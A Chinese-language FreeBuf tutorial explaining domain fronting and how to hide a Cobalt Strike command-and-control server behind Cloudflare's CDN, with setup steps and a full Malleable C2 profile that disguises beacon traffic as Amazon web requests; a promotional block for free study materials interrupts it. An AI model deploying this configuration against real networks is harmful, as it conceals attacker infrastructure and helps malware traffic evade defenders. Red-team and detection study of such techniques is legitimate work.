官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

网络安全

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
90
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

域前置技术和C2隐藏

蚁景科技 2022-11-09 15:03:13 401038

所属地湖南省

本文由蚁景科技创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

域前置介绍

域前置又译为域名幌子，是一种隐藏连接真实端点来规避审查的技术。在应用层上运作时，域前置使用户能通过HTTPS连接到被屏蔽的服务，而表面上像在与另一个完全不同的站点通信。

域前置工作原理

域前置核心就是CDN，可以通过添加 A 记录或 AAAA 记录解析的方式将网站域名指向网站服务器公网 IP 地址，来实现用户可以通过域名直接访问已部署在服务器上的网站，而无需使用难记且无明显标识的 IP 地址访问。CDN能够对域名进行加速，当对某个域名进行访问时，并不会直接解析到IP，因此可以给攻击V-PS申请一个CDN加速服务，从而达到隐藏IP的效果

CDN工作原理

CND又叫内容分发网络（Content Delivery Network）

当用户访问域名时，先请求LDNS(即本地dns)，如果有缓存会返回给用户ip地址，如果LNDS无缓存即向授权DNS请求，授权DNS解析域名返回别名域名，域名解析请求发送至公有云DNS调度系统，则会分配最佳节点ip地址，LDNS会缓存该IP地址，用户根据该ip地址请求资源，节点ip隐藏了真实ip的地址。

搭建过程

这里选择腾讯云的域名

先实名后注册，注册时间可能比较久，在腾讯云服务器上，根据申请的域名添加解析记录。

域名备案，实际上国内的备案了之后Redteam已无法使用了。

【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注“freebuf”获取！】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）

https://www.cloudflare.com/zh-cn/

进入后添加站点

输入申请的域名别名，选择免费即可

继续

这里会对域名的A记录和CNAME自动进行检测

这个时候邮箱会收到cloudflare的邮件。

修改dns记录，域名注册->我的域名->概览位置修改dns

然后等待dns刷新即可，此时我们ping一下我们的域名发现，解析后的ip地址不是真实的ip地址。

ip地址为cloudflare的ip

nslookup查询

SSL/TLS

如果要实现https加密需要下载配置c2证书

下载证书

在V-PS需重新生成cs的配置文件cobalstrike.store

C2配置隐藏

项目地址

https://github.com/rsmudge/Malleable-C2-Profiles

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {

set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

client {

  header "Accept" "*/*";
  header "Host" "www.xxx.xxx";    #配置自己的根域名不是别名

  metadata {
      base64;
      prepend "session-token=";
      prepend "skin=noskin;";
      append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
      header "Cookie";
  }
}

server {

  header "Server" "Server";
  header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
  header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
  header "X-Frame-Options" "SAMEORIGIN";
  header "Content-Encoding" "gzip";

  output {
      print;
  }
}

}

http-post {


set uri "/N4215/adj/amzn.us.sr.aps";

client {

  header "Accept" "*/*";
  header "Content-Type" "text/xml";
  header "X-Requested-With" "XMLHttpRequest";
  header "Host" "www.xxx.xxx";   #配置自己的根域名不是别名

  parameter "sz" "160x600";
  parameter "oe" "oe=ISO-8859-1;";

  id {
      parameter "sn";
  }

  parameter "s" "3717";
  parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

  output {
      base64;
      print;
  }
}

server {

  header "Server" "Server";
  header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
  header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
  header "X-Frame-Options" "SAMEORIGIN";
  header "x-ua-compatible" "IE=edge";

  output {
      print;
  }
}

}